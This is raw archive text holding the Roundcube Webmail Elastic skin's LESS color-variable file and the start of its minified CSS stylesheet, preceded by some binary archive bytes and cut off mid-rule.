,c����3ʨ��.q;-�*y\N�:*��EIA��v�QFe�)����Un>q�U��y޷c*&�J�~7���~��d�3���lT~��Fw�K��)X<@t
�P��8��@4��@\�Y5l� \��2Q�PKh�\P�D�.. skins/elastic/styles/colors.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

@color-main:                #37beff;
@color-main-dark:           darken(@color-main, 35%);
@color-black:               #161b1d;
@color-font:                lighten(@color-black, 10%);
@color-link:                #00acff;
@color-link-hover:          darken(@color-link, 10%);
@color-border:              #ddd;
@color-error:               #ff5552;
@color-success:             #41b849;
@color-warning:             #ffd452;

@color-black-shade-text:    tint(@color-black, 40%);
@color-black-shade-border:  lighten(@color-black, 75%);
@color-black-shade-bg:      lighten(@color-black, 85%);


// Layout elements
@color-layout-border:               @color-black-shade-border;
@color-layout-header:               @color-font;
@color-layout-sidebar-background:   #fff;
@color-layout-list-background:      #fff;
@color-layout-content-background:   #fff;
@color-layout-header-background:    #f4f4f4;
@color-layout-footer-background:    #fff;

@color-layout-mobile-header-background: @color-layout-header-background;
@color-layout-mobile-footer-background: @color-layout-header-background;

// Task menu
@color-taskmenu-background:                     #2f3a3f;
@color-taskmenu-button:                         #fff;
@color-taskmenu-button-selected:                @color-taskmenu-button;
@color-taskmenu-button-action:                  @color-main;

@color-taskmenu-button-selected-background:     lighten(@color-taskmenu-background, 10%);
@color-taskmenu-button-action-background:       transparent;

@color-taskmenu-button-hover:                   #fff;
@color-taskmenu-button-selected-hover:          #fff;
@color-taskmenu-button-action-hover:            @color-main;

@color-taskmenu-button-background-hover:        lighten(@color-taskmenu-background, 10%);
@color-taskmenu-button-action-background-hover: @color-taskmenu-button-background-hover;
@color-taskmenu-button-logout:                  @color-error;
@color-taskmenu-button-logout-hover:            @color-error;


// Toolbar
@color-toolbar-button:                  @color-font;
@color-toolbar-button-background-hover: darken(@color-layout-header-background, 3%);

@color-searchbar-background:            #fbfbfb;

// Toolbar menu
@color-menu-hover:               #fff;
@color-menu-hover-background:    @color-main;


// Listings
@color-list:                        @color-font;
@color-list-selected:               @color-font;
@color-list-selected-background:    tint(@color-main, 90%);
@color-list-flagged:                @color-error;
@color-list-deleted:                fadeout(@color-font, 50%);
@color-list-secondary:              @color-black-shade-text;
@color-list-droptarget-background:  #ffffcc;
@color-list-focus-indicator:        lighten(@color-main, 20%);

@color-list-border:                 @color-black-shade-bg;
@color-list-badge:                  #fff;
@color-list-badge-background:       @color-main;
@color-list-recent:                 darken(@color-main, 20%);
@color-list-recent-badge:           #fff;
@color-list-recent-badge-background: @color-main;

@color-list-pagenav:                @color-black-shade-text;
@color-list-icon:                   fadeout(@color-list-secondary, 25%);
@color-list-unread-status:          @color-warning;

@color-attachmentlist-border:       #f4f4f4;
@color-attachmentlist-background:   #fcfcfc;

// Drag-n-drop layer
@color-drag-layer:                  #fff;
@color-drag-layer-background:       @color-taskmenu-background;
@color-drag-layer-shadow:           @color-black-shade-bg;


// Messages
@color-message:                     @color-font;
@color-message-border:              transparent;
@color-message-background:          fadeout(@color-main, 95%);
@color-message-text:                #fff;
@color-message-link:                @color-main;
@color-message-link-font-weight:    normal;
@color-message-information:         @color-main;
@color-message-success:             @color-success;
@color-message-warning:             @color-warning;
@color-message-error:               @color-error;
@color-message-loading:             tint(@color-font, 30%);
@color-message-information-text:    @color-message-text;
@color-message-success-text:        @color-message-text;
@color-message-warning-text:        @color-message;
@color-message-error-text:          @color-message-text;
@color-message-loading-text:        @color-message-text;
@color-message-error-box:           @color-message;
@color-message-information-box:     @color-message;
@color-message-success-box:         @color-message;
@color-message-warning-box:         @color-message;
@color-message-error-box-background:        fadeout(@color-message-error, 80%);
@color-message-information-box-background:  fadeout(@color-message-information, 80%);
@color-message-success-box-background:      fadeout(@color-message-success, 80%);
@color-message-warning-box-background:      fadeout(@color-message-warning, 80%);


// Popovers (menus)
@color-popover-shadow:              @color-black-shade-bg;
@color-popover-separator:           @color-black-shade-text;
@color-popover-separator-background: @color-black-shade-bg;
@color-popover-mobile-header:               #fff;
@color-popover-mobile-header-background:    @color-main-dark;
@color-popover-mobile-dropbutton-background: #f6f6f6;

// Dialogs
@color-dialog-overlay-background:   fade(@color-font, 50%);
@color-dialog-header:               @color-layout-header;
@color-dialog-header-border:        @color-border;


@color-spinner-circle:              @color-black-shade-bg;
@color-spinner-item:                @color-black-shade-text;


// Forms
@color-input:                       @color-font;
@color-input-border:                #ced4da; // from Bootstrap's .form-control
@color-input-border-focus:          @color-main;
@color-input-border-focus-shadow:   fadeout(@color-main, 75);
@color-input-border-invalid:        @color-error;
@color-input-border-invalid-shadow: fadeout(@color-error, 75);
@color-input-addon-background:      @color-black-shade-bg;
@color-recipient-input-border:      @color-input-border;
@color-recipient-input-background:  @color-black-shade-bg;
@color-input-placeholder:           #bbb;

@color-checkbox:                    @color-main;
@color-checkbox-checked:            @color-main;
@color-checkbox-checked-disabled:   lighten(@color-main, 15%);
@color-checkbox-focus:              @color-input-border-focus;
@color-checkbox-focus-shadow:       @color-input-border-focus-shadow;

@color-form-hint:                   @color-black-shade-text;

@color-image-upload-background:     #f4f4f4;

@color-btn-secondary:               #fff;
@color-btn-secondary-background:    lighten(@color-black, 50%);
@color-btn-primary:                 #fff;
@color-btn-primary-background:      @color-main;
@color-btn-danger:                  #fff;
@color-btn-danger-background:       @color-error;

@color-quota-background:            #fff;
@color-quota-text:                  @color-black-shade-text;
@color-quota-value:                 @color-main;
@color-quota-value-warning:         @color-error;

@color-blockquote-background:       fadeout(@color-black-shade-bg, 50%);
@color-blockquote-0:                darken(@color-main, 30%);
@color-blockquote-1:                darken(@color-success, 25%);
@color-blockquote-2:                darken(@color-error, 20%);
@color-blockquote-0-border:         @color-blockquote-0;
@color-blockquote-1-border:         @color-blockquote-1;
@color-blockquote-2-border:         @color-blockquote-2;

@color-mail-signature:              @color-black-shade-text;
@color-mail-headers:                @color-black-shade-text;

@color-messagepart-border:          #f4f4f4;
@color-messagepart-background:      #fcfcfc;

@color-spellcheck-link:             @color-error;

@color-table-border:                @color-layout-border;
@color-table-selected:              @color-list-selected;
@color-table-selected-background:   @color-list-selected-background;


// Datepicker
@color-datepicker-border:               @color-layout-border;
@color-datepicker-font:                 @color-font;
@color-datepicker-highlight:            @color-main;
@color-datepicker-highlight-background: lighten(@color-main, 30%);
@color-datepicker-active:               #fff;
@color-datepicker-active-background:    @color-main;


// HTML editor
@color-editor-disabled-mask:            fadeout(lighten(@color-black, 85), 10);


// Image tools
@color-image-tools:                     #fff;
@color-image-tools-background:          fadeout(@color-main, 60%);
@color-image-tools-hover:               fadeout(@color-main, 50%);


// Scrollbars
@color-scrollbar-thumb:     #c1c1c1;
@color-scrollbar-track:     #f1f1f1;


// Dark mode colors
@color-dark-main:           darken(@color-main, 30%);
@color-dark-background:     #21292c;
@color-dark-font:           #c5d1d3;
@color-dark-border:         #4d6066;
@color-dark-hint:           darken(@color-dark-font, 20%);
@color-dark-information:    shade(@color-main, 40%);
@color-dark-success:        shade(@color-success, 40%);
@color-dark-warning:        shade(@color-warning, 40%);
@color-dark-error:          shade(@color-error, 40%);

@color-dark-list-selected:              @color-main;
@color-dark-list-selected-background:   #374549;
@color-dark-list-badge:                 lighten(@color-dark-font, 10%);
@color-dark-list-badge-background:      @color-dark-border;
@color-dark-list-deleted:               darken(@color-dark-hint, 15%);
@color-dark-list-droptarget-background: #4d4d00;
@color-dark-list-border:                #2c373a;

@color-dark-input:                      @color-dark-font;
@color-dark-input-border:               #7c949c;
@color-dark-input-background:           @color-dark-background;
@color-dark-input-focus:                #e2e7e9;
@color-dark-input-border-focus:         @color-main;
@color-dark-input-background-focus:     lighten(@color-dark-background, 5%);
@color-dark-input-addon-background:     #374549;
@color-dark-input-addon-background-focus: lighten(@color-dark-list-selected-background, 15%);
@color-dark-checkbox:                   @color-dark-border;
@color-dark-checkbox-checked:           @color-dark-main;

@color-dark-btn:                        lighten(@color-dark-font, 10%);
@color-dark-btn-primary-background:     @color-dark-main;
@color-dark-btn-secondary-background:   @color-dark-border;
@color-dark-btn-danger-background:      @color-dark-error;

@color-dark-dialog-overlay-background:  fade(black, 70%);

@color-dark-popover-background:         #161b1d;
@color-dark-popover-border:             lighten(#161b1d, 50%);

@color-dark-message-information:        @color-dark-information;
@color-dark-message-success:            @color-dark-success;
@color-dark-message-warning:            @color-dark-warning;
@color-dark-message-error:              @color-dark-error;
@color-dark-message-loading:            lighten(@color-dark-background, 10%);

@color-dark-scrollbar-thumb:            darken(@color-main, 25%);
@color-dark-scrollbar-track:            @color-dark-border;

@color-dark-blockquote-0:               lighten(@color-main, 10%);
@color-dark-blockquote-1:               lighten(@color-success, 10%);
@color-dark-blockquote-2:               lighten(@color-error, 10%);
@color-dark-blockquote-0-border:        @color-dark-blockquote-0;
@color-dark-blockquote-1-border:        @color-dark-blockquote-1;
@color-dark-blockquote-2-border:        @color-dark-blockquote-2;
PKh�\{������#skins/elastic/styles/styles.min.cssnu�[���#layout>div>.header,.table-widget table.options-table tr:last-child td{border-bottom:1px solid #d4dbde}#filtersetslist td.name:before,#filterslist td.name:before,#identities-table td.mail:before,#message-header .header-links a:before,#message-header>.subject a.extwin:before,#responses-table td.name:before,.attachmentslist li a.cancelupload:before,.attachmentslist li a.delete:before,.attachmentslist li:before,.contactlist li a:before,.contactlist td.contact:before,.contactlist td.contactgroup:before,.floating-action-buttons a.button:before,.folderlist li a:before,.googie_list li .googie_add_to_dict:before,.googie_list li .googie_list_revert:before,.html-editor .editor-toolbar .mce-i-html:before,.input-group .icon:before,.keylist li:before,.listing td.action a:before,.listing.iconized li a:before,.listing.iconized li>i:before,.listing.iconized tr td:before,.listing.iconized.selectable li a:before,.menu a:before,.message-htmlpart blockquote span.blockquote-link:after,.message-part blockquote span.blockquote-link:after,.messagelist span.attachment span,.messagelist span.flagged:before,.messagelist td.subject span.msgicon.status.replied.forwarded:after,.messagelist td.subject span.msgicon.status:before,.messagelist tr.flaggedroot:not(:hover) span.unflagged:before,.messagelist tr.thread td.threads div:before,.messagelist tr:hover span.unflagged:before,.multi-input a.icon.reset:before,.pgpkeyimport div.key label.keyid+a:before,.pgpkeyimport li.uid:before,.popover .menu li a[aria-haspopup]:after,.propform td.rowbuttons a:before,.quota-widget:before,.searchbar a:before,.searchbar form:before,.table-widget table.options-table td:not(:first-child) span:before,.tagedit-list li.tagedit-listelement-old a:before,.ui-datepicker .ui-datepicker-next:before,.ui-datepicker .ui-datepicker-prev:before,.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset a.btn-link.options:before,.ui-dialog .ui-dialog-titlebar-close:before,.ui.alert>i.icon:before,a.button.icon:before,body.status-flagged #message-header>.subject:before,button.btn:before,div.tox .tox-dialog__footer .tox-button:before,div.tox .tox-dialog__header .tox-button:before,fieldset.advanced>legend:after,p.image-attachment .attachment-links a:before,table.table th.checkbox-cell:before,ul.treelist li div.treetoggle:before{font-size:1.25em;display:block;float:left;margin:0 .25rem 0 0;width:1.18em;height:1em;font-family:Icons;font-style:normal;font-weight:900;text-decoration:inherit;text-align:center;speak:none;font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}#layout,body,html{height:100%}.popover,body,button,div.tox,div.tox :not(.svg),input,optgroup,select,textarea{font-family:Roboto,sans-serif}@font-face{font-family:Icons;font-style:normal;font-weight:900;src:url(../fonts/fa-solid-900.woff2) format('woff2'),url(../fonts/fa-solid-900.woff) format('woff')}@font-face{font-family:Icons;font-style:normal;font-weight:400;src:url(../fonts/fa-regular-400.woff2) format('woff2'),url(../fonts/fa-regular-400.woff) format('woff')}@font-face{font-family:Roboto;font-style:normal;font-weight:400;src:local('Roboto'),local('Roboto-Regular'),url(../fonts/roboto-v29-regular.woff2) format('woff2'),url(../fonts/roboto-v29-regular.woff) format('woff')}@font-face{font-family:Roboto;font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(../fonts/roboto-v29-italic.woff2) format('woff2'),url(../fonts/roboto-v29-italic.woff) format('woff')}@font-face{font-family:Roboto;font-style:normal;font-weight:700;src:local('Roboto Bold'),local('Roboto-Bold'),url(../fonts/roboto-v29-regular-700.woff2) format('woff2'),url(../fonts/roboto-v29-regular-700.woff) format('woff')}@font-face{font-family:Roboto;font-style:italic;font-weight:700;src:local('Roboto Bold Italic'),local('Roboto-BoldItalic'),url(../fonts/roboto-v29-italic-700.woff2) format('woff2'),url(../fonts/roboto-v29-italic-700.woff) format('woff')}button,input,select,textarea{line-height:initial}input{vertical-align:middle}a{color:#00acff}a:hover{color:#008acc}#layout>div>.header,#layout>div>.header a.button,body{color:#2c363a}a.disabled{pointer-events:none}a.disabled:not(.btn){opacity:.5}html:not(.touch) ::-webkit-scrollbar{width:6px}html{scrollbar-color:#c1c1c1 #f1f1f1;font-size:14px}html:not(.touch) ::-webkit-scrollbar-track{background-color:#f1f1f1}html:not(.touch) ::-webkit-scrollbar-thumb{background-color:#c1c1c1}body{min-width:240px;overflow:hidden}html.iframe body{overflow:auto}#layout{overflow:hidden;display:flex;width:100%}#layout>div>.scroller{flex:1;position:relative}#layout>div>.footer,#layout>div>.header{font-size:1rem;font-weight:700;line-height:58px;height:58px;min-height:58px;padding:0 .25em;margin:0;position:relative;overflow:hidden;white-space:nowrap;display:flex;justify-content:center}#layout>div>.header{background-color:#f4f4f4}#layout>div>.header .header-title{overflow:hidden;text-overflow:ellipsis;flex:1;text-align:center;margin:0 -20rem}#layout-list,#layout-sidebar{flex-direction:column;max-width:30%;background-color:#fff}#layout>div>.header a.toolbar-list-button,#layout>div>.header a.toolbar-menu-button{order:99}#layout>div>.footer{border-top:1px solid #d4dbde;background-color:#fff}#layout>div>.footer.small{height:35px;min-height:35px;line-height:35px}#layout>div>.footer:empty{display:none}#layout-sidebar{position:relative;display:flex;flex:2;min-width:220px;border-right:1px solid #d4dbde}#layout-sidebar.sidebar-right{order:2;border-right:0;border-left:1px solid #d4dbde;flex:3}#layout-list{position:relative;display:flex;flex:3;min-width:300px;border-right:1px solid #d4dbde}#layout-content{display:flex;flex:6;flex-direction:column;background-color:#fff;width:100%}html.iframe #layout-content{height:100%}#layout-content>.content,#layout-content>.formcontent{height:100%;width:100%;overflow:auto;flex:1}#layout-content .iframe-wrapper{width:100%;flex:1}#layout-content .iframe-wrapper iframe{width:100%;height:100%;border:0}#layout-content.only>.scroller{overflow:auto}#layout-menu.popover{left:0!important}#layout-menu .popover-header{height:58px;line-height:58px;border:0;border-radius:0;text-align:center}#layout-menu .popover-header img{max-height:58px;max-width:78px;padding:.25rem}@media screen and (min-width:481px) and (max-width:1024px){#layout-menu .popover-header img{max-width:35.1px}}@media screen and (min-width:481px){#layout-menu .popover-header{padding:0!important;background-color:#2f3a3f!important}#layout-menu .popover-header a{display:none!important}}html.layout-phone #layout-menu .popover-header{display:flex!important;align-items:center;justify-content:center;padding:0 .5rem}html.layout-phone #layout-menu .popover-header img{max-width:222px}html.layout-phone #layout-menu .popover-header a{width:auto;flex:1}html.layout-phone #layout-menu .popover-header a:before{height:58px;float:right}html.layout-phone #layout-menu .popover-header a .inner{display:none}.column-resizer{cursor:col-resize;z-index:1;position:absolute;top:0;right:-3px;width:6px;height:100%}.column-resizer.inverted{right:auto;left:-3px}.column-resizer.active{width:10000px;right:-5000px}.column-resizer.active.inverted{right:auto;left:-5000px}@media screen and (max-width:1200px){#layout-list,#layout-sidebar{min-width:260px;flex:3}#layout-list>.header>a.button{padding:0 .25rem;margin:0 .25rem}}@media screen and (max-width:1024px){.column-resizer{display:none}#layout-list,#layout-sidebar{width:auto!important;flex:3!important}}@media screen and (max-width:768px){#layout>div>.footer,#layout>div>.header{background-color:#f4f4f4}#layout>div>.header a.button .inner,a.toolbar-list-button{display:none}#layout-list,#layout-sidebar{max-width:none;border:0!important}#layout>div>.header a.button{margin:0 .3rem!important;padding:0!important}#layout>div>.header a.button:before{font-size:1.75rem;height:58px;margin:0}#layout>div>.header a.button.filter:before{font-size:1.6rem}}@media screen and (max-width:320px){#layout-list,#layout-sidebar{min-width:240px}}@media screen and (min-width:481px){a.task-menu-button{display:none}#layout-menu{background-color:#2f3a3f;width:42px}}@media screen and (min-width:769px){#layout-content>.header>.header-title,#layout>div>.header>.buttons,.floating-action-buttons,a.toolbar-menu-button{display:none}}@media screen and (min-width:1025px){#layout-menu{width:78px}}@media screen and (min-width:1201px){#layout-list>.header>.header-title:not(.all-sizes),a.back-list-button,a.back-sidebar-button,a.toolbar-list-button{display:none}}.hidden,.rcmaddcontact,.voice,html.layout-large .hidden-big,html.layout-large .hidden-large,html.layout-large .hidden-lbs,html.layout-normal .hidden-big,html.layout-normal .hidden-lbs,html.layout-phone .hidden-phone,html.layout-phone .hidden-small,html.layout-small .hidden-lbs,html.layout-small .hidden-small{display:none!important}font.bold{font-weight:700}#rcmdraglayer{min-width:260px;width:260px;background-color:#2f3a3f;color:#fff;box-shadow:3px 3px 5px #f1f3f4;border-radius:.3rem;z-index:250;opacity:.92;padding:.5rem;white-space:nowrap}.menu.pagenav.pagenav-list,.menu.pagenav.pagenav-list+.navlist,.popup .listbox .footer,.searchbar{background-color:#fbfbfb}.formcontent:not(.popupmenu),.frame-content{padding:1rem}#rcmdraglayer div{line-height:1.6em;overflow:hidden;text-overflow:ellipsis}.frame-content h2{font-weight:700;font-size:1.5em}.frame-content h3{font-weight:700;font-size:1.25em}.listbox .scroller{width:100%;overflow-x:hidden;overflow-y:auto}.listbox .navlist{height:0;flex:initial!important}.listbox .navlist .listing li:last-child,.listbox .navlist .listing tr:last-child td{border-bottom:0}.popup .listbox{height:100%;display:flex;flex-direction:column}.popup .listbox .scroller{flex:1}.popup .listbox .footer{border-top:1px solid #d4dbde}.contact-header{display:flex;margin-bottom:1rem}.contact-header .contact-photo{min-width:112px}.contact-header .contact-head{margin-left:1rem;margin-top:0!important}.contact-header .contact-head legend{display:none}p.image-attachment{position:relative;border:1px solid #ddd;border-radius:.3rem;background-color:rgba(55,190,255,.05);float:left;margin:.5rem;min-width:47%;min-height:250px;overflow:hidden;display:flex;justify-content:center}@media screen and (max-width:480px){p.image-attachment{float:none;margin:.5rem 0}}p.image-attachment .image-link{align-self:center;text-align:center;margin:1.6rem .5rem}p.image-attachment span{color:#737677;padding:0 .5rem;font-size:90%;white-space:nowrap;position:absolute;line-height:1.5rem}p.image-attachment .image-filename{overflow:hidden;text-overflow:ellipsis;left:0;top:0;right:0;padding-right:4rem}p.image-attachment .image-filesize{right:0;top:0}p.image-attachment .attachment-links{position:absolute;bottom:0;left:0;width:100%;text-align:center}p.image-attachment .attachment-links a{text-decoration:none;display:inline-block;padding:0 .5rem;line-height:1.5rem}p.image-attachment .attachment-links a:before{display:inline-block}p.image-attachment .attachment-links a.open:before{content:"\f360"}p.image-attachment .attachment-links a.download:before{content:"\f019"}fieldset.image-attachment{margin-top:.5rem}fieldset.image-attachment legend{color:#737677;font-size:.9rem;border-top:1px solid #f5f5f5;margin:0}fieldset.image-attachment img{max-width:100%}#folder-selector{overflow-y:auto}.noselect{user-select:none;-moz-user-select:none;-khtml-user-select:none;-ms-user-select:none;-webkit-user-select:none}.iframe-loader{width:100%;position:absolute;top:0;bottom:0;background-color:rgba(255,255,255,.95);display:flex;align-items:center;justify-content:center;z-index:3}.iframe-loader .spinner-border{width:7rem;height:7rem;color:#f1f3f4;border:1rem solid;border-color:currentColor #737677 currentColor currentColor}.footer.toolbar+.iframe-loader{top:58px;bottom:58px}.ios-scroll{padding:0;-webkit-overflow-scrolling:touch!important;overflow:scroll!important}.ios-scroll.iframe-wrapper{margin-top:1px}.webkit-scroller::-webkit-scrollbar{-webkit-appearance:none}.webkit-scroller::-webkit-scrollbar:vertical{width:.5rem}.webkit-scroller::-webkit-scrollbar:horizontal{height:.5rem}.webkit-scroller::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.3);border-radius:.25rem;border:2px solid #fff}.quota-widget{width:100%;max-width:15em;padding:.5rem 1rem;display:flex;align-items:center;color:#737677}.quota-widget:before{content:"\f0a0";line-height:1}.quota-widget .count{font-size:80%;order:2}.quota-widget .bar{flex:1;height:.5rem;margin:0 1rem;background-color:#fff;border:1px solid #d4dbde;border-radius:.25rem;overflow:hidden}.quota-widget .value{display:block;background-color:#37beff;height:1rem;opacity:.75}.quota-widget .value.warning{background-color:#ff5552}.image-tools{position:absolute;top:5rem;left:0;height:58px;overflow:hidden;transform:translateX(-87%);transition:transform .3s ease-in-out;background-color:rgba(55,190,255,.4);border-radius:0 .3rem .3rem 0}.image-tools .menu{float:left}.image-tools a.button.icon.tools{padding:0 .25rem;display:inline-block;height:58px}.image-tools a.button.icon.tools span.inner{display:none}.image-tools a.button.icon.tools:before{line-height:58px;margin:0}.image-tools.open{transform:translateX(0)}.image-tools.open a.button.icon.tools:before{content:"\f053"}.image-tools a{color:#fff!important}.image-tools a:focus,.image-tools a:hover{background-color:rgba(55,190,255,.5)!important;outline:0}.quota-info{width:100%;display:table!important}.quota-info td,.quota-info th{text-align:center;white-space:nowrap}.quota-info th{border-top:0}.quota-info .root{line-height:1;font-style:italic;color:#737677;background-color:#f1f3f4}.quota-info .name,.quota-info th:first-child{text-align:left}.nav-tabs{flex-wrap:nowrap}.nav-tabs .nav-item{white-space:nowrap;overflow:hidden}.nav-tabs .nav-link{overflow:hidden;text-overflow:ellipsis}.props-table td.title{width:7em}.table-widget{display:flex;flex-direction:column;margin-bottom:.5rem;border:1px solid #d4dbde}.table-widget>.content{overflow-x:auto;flex-grow:1;height:18.5em}.table-widget>.content table th{border-top:0}.table-widget>.footer{height:3.5rem;border-top:1px solid #d4dbde;text-align:left}.table-widget>.footer a{padding:.2rem .45rem!important;height:calc(3.5rem - 1px)!important}.table-widget table{margin:0;max-height:18.5em}.table-widget table.options-table td,.table-widget table.options-table th{text-align:center;vertical-align:middle}.table-widget table.options-table td:first-child,.table-widget table.options-table th:first-child{overflow:hidden;text-overflow:ellipsis;text-align:left}.table-widget table.options-table tr.selected td{background-color:#ebf9ff;color:#2c363a;outline:0}.table-widget table.options-table td:not(:first-child) span{display:inline-block;line-height:1.25}.table-widget table.options-table td.enabled span:before{content:"\f00c"}.table-widget table.options-table td.partial span:before{opacity:.3;content:"\f00c"}table.compact-table{margin:0;width:100%}table.compact-table :not(.invalid-feedback){font-size:inherit}table.compact-table td{padding:.25rem;border:0}table.compact-table td:first-child{padding-left:0}table.compact-table td:last-child{padding-right:0}table.table .checkbox-cell{width:3rem;white-space:nowrap;overflow:hidden;text-align:center;padding:.5rem}html.touch table.table .checkbox-cell{padding:.5rem .3rem}table.table th.checkbox-cell{padding:.75rem 0;max-width:1rem}table.table th.checkbox-cell:before{cursor:pointer;margin:0 1rem;line-height:1}table.table th.checkbox-cell.subscription:before{content:"\f143"}table.table th.checkbox-cell.alarm:before{content:"\f0f3";font-weight:400}table.table th.checkbox-cell.read:before{content:"\f06e"}table.table th.checkbox-cell.write:before{content:"\f303"}table.table .buttons-cell{width:1%;white-space:nowrap;text-align:center}table.table .buttons-cell a.button:before{line-height:1;float:none;display:inline-block}@media screen and (min-width:480px){table.table .buttons-cell a.button .inner{display:inline}}table.table label{margin:0;display:inline}fieldset.tab-pane table.table thead th{border:0}table.table tr.deleted td{color:rgba(44,54,58,.5)!important}.table thead th{border-width:1px;white-space:nowrap}.button.disabled{opacity:.5}a.button{text-decoration:none!important}a.button.icon.sidebar-menu:before,a.button.icon.toolbar-list-button:before,a.button.icon.toolbar-menu-button:before,button.btn.sidebar-menu:before,button.btn.toolbar-list-button:before,button.btn.toolbar-menu-button:before{content:"\f142";width:1em}a.button.icon.task-menu-button:before,button.btn.task-menu-button:before{content:"\f0c9"}a.button.icon.back-content-button:before,a.button.icon.back-list-button:before,a.button.icon.back-sidebar-button:before,button.btn.back-content-button:before,button.btn.back-list-button:before,button.btn.back-sidebar-button:before{content:"\f053"}a.button.icon.refresh:before,button.btn.refresh:before{content:"\f021"}a.button.icon.continue:before,a.button.icon.generate:before,a.button.icon.save:before,a.button.icon.submit:before,a.button.icon.yes:before,button.btn.continue:before,button.btn.generate:before,button.btn.save:before,button.btn.submit:before,button.btn.yes:before{content:"\f00c"}a.button.icon.create:before,button.btn.create:before{content:"\f0fe"}a.button.icon.edit:before,button.btn.edit:before{content:"\f303"}a.button.icon.qrcode:before,button.btn.qrcode:before{content:"\f029"}a.button.icon.search:before,button.btn.search:before{content:"\f002"}a.button.icon.filter:before,button.btn.filter:before{content:"\f0b0";font-size:1.2em}a.button.icon.import:before,button.btn.import:before{content:"\f093"}a.button.icon.export:before,button.btn.export:before{content:"\f019"}a.button.icon.delete:before,a.button.icon.discard:before,button.btn.delete:before,button.btn.discard:before{content:"\f2ed";font-weight:400}a.button.icon.next:before,button.btn.next:before{content:"\f061"}a.button.icon.restore:before,button.btn.restore:before{content:"\f0e2"}a.button.icon.bounce:before,a.button.icon.send:before,button.btn.bounce:before,button.btn.send:before{content:"\f1d8"}a.button.icon.attach:before,button.btn.attach:before{content:"\f0c6"}a.button.icon.attach.vcard:before,button.btn.attach.vcard:before{content:"\f007"}a.button.icon.cancel:before,a.button.icon.close:before,a.button.icon.no:before,button.btn.cancel:before,button.btn.close:before,button.btn.no:before{content:"\f00d"}.ui-datepicker .ui-datepicker-prev:before,a.button.icon.back:before,button.btn.back:before{content:"\f053"}a.button.icon.remove:before,button.btn.remove:before{content:"\f00d"}a.button.icon.unlock:before,button.btn.unlock:before{content:"\f09c"}a.button.icon.help:before,button.btn.help:before{content:"\f1cd";font-weight:400}a.button.icon.folders:before,button.btn.folders:before{content:"\f07c"}a.button.icon.options:before,button.btn.options:before{content:"\f1de"}a.button.icon.settings:before,a.button.icon.tools:before,button.btn.settings:before,button.btn.tools:before{content:"\f013"}a.button.icon.properties:before,button.btn.properties:before{content:"\f05a"}a.button.icon.selection:before,button.btn.selection:before{content:"\f14a";font-weight:400}a.button.icon.insert.recipient:before,button.btn.insert.recipient:before{content:"\f234"}a.button.icon.encrypt:before,button.btn.encrypt:before{content:"\f023"}a.button.icon.sign:before,button.btn.sign:before{content:"\f5b7"}a.button.icon.sso:before,button.btn.sso:before{content:"\f2f6"}a.button.icon.extwin:before,button.btn.extwin:before{content:"\f360"}a.btn:before,button.btn:before{display:inline!important;float:none!important;vertical-align:middle;margin-right:.4rem!important}a.btn.oauth.google:before,a.btn.oauth.outlook:before,button.btn.oauth.google:before,button.btn.oauth.outlook:before{content:" ";display:inline-block!important;height:1.5rem;width:1.5rem;margin-right:.8rem!important;background-size:100% auto}a.btn.oauth.google:before,button.btn.oauth.google:before{background:url(../images/google-icon.svg) top left no-repeat}a.btn.oauth.outlook:before,button.btn.oauth.outlook:before{background:url(../images/microsoft-icon.svg) top left no-repeat}a.button.icon.dropdown:before{content:"\f0d7";font-size:1em}a.button.icon>span.inner{display:none}html.touch .btn:focus{box-shadow:none!important}.floating-action-buttons{position:absolute;right:0;bottom:0}.footer:not(:empty)+.floating-action-buttons{bottom:35px}.floating-action-buttons a.button{display:block;float:left;width:4rem;height:4rem;border-radius:50%;background:#37beff;color:#fff;opacity:.95;box-shadow:0 0 5px 5px #eaf8ff;margin:0 1rem 1rem 0}.floating-action-buttons a.button .inner,.ui-dialog.no-titlebar .ui-dialog-titlebar{display:none}.floating-action-buttons a.button:before{content:"\f067";width:4rem;height:4rem;line-height:4rem}.floating-action-buttons a.button.compose:before{content:"\f304"}.btn:focus{box-shadow:0 0 0 .2rem rgba(55,190,255,.3)}.btn-link{color:#00acff}.btn-secondary{color:#fff;background:#8b9fa7;border-color:#8b9fa7}.btn-secondary:focus,.btn-secondary:hover{background:#7c939c;border-color:#778e98}.btn-secondary:focus{box-shadow:0 0 0 .2rem rgba(139,159,167,.5)}.btn-secondary.disabled,.btn-secondary:disabled{background:#8b9fa7;border-color:#8b9fa7}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active{background:#6e8791;border-color:#6a828b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus{box-shadow:0 0 0 .2rem rgba(139,159,167,.53)}.btn-primary{color:#fff;background:#37beff;border-color:#37beff}.btn-primary:focus,.btn-primary:hover{background:#1eb6ff;border-color:#13b2ff}.btn-primary:focus{box-shadow:0 0 0 .2rem rgba(55,190,255,.5)}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,div.tox .tox-dialog__footer .tox-button:not(:disabled):not(.disabled).active:focus,div.tox .tox-dialog__footer .tox-button:not(:disabled):not(.disabled):active:focus{box-shadow:0 0 0 .2rem rgba(55,190,255,.53)}.btn-primary.disabled,.btn-primary:disabled{background:#37beff;border-color:#37beff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active{background:#04adff;border-color:#00a8f9}.btn-danger{color:#fff;background:#ff5552;border-color:#ff5552}.btn-danger:focus,.btn-danger:hover{background:#ff3c38;border-color:#ff322e}.btn-danger:focus{box-shadow:0 0 0 .2rem rgba(255,85,82,.5)}.btn-danger.disabled,.btn-danger:disabled{background:#ff5552;border-color:#ff5552}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active{background:#ff231f;border-color:#ff1915}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus{box-shadow:0 0 0 .2rem 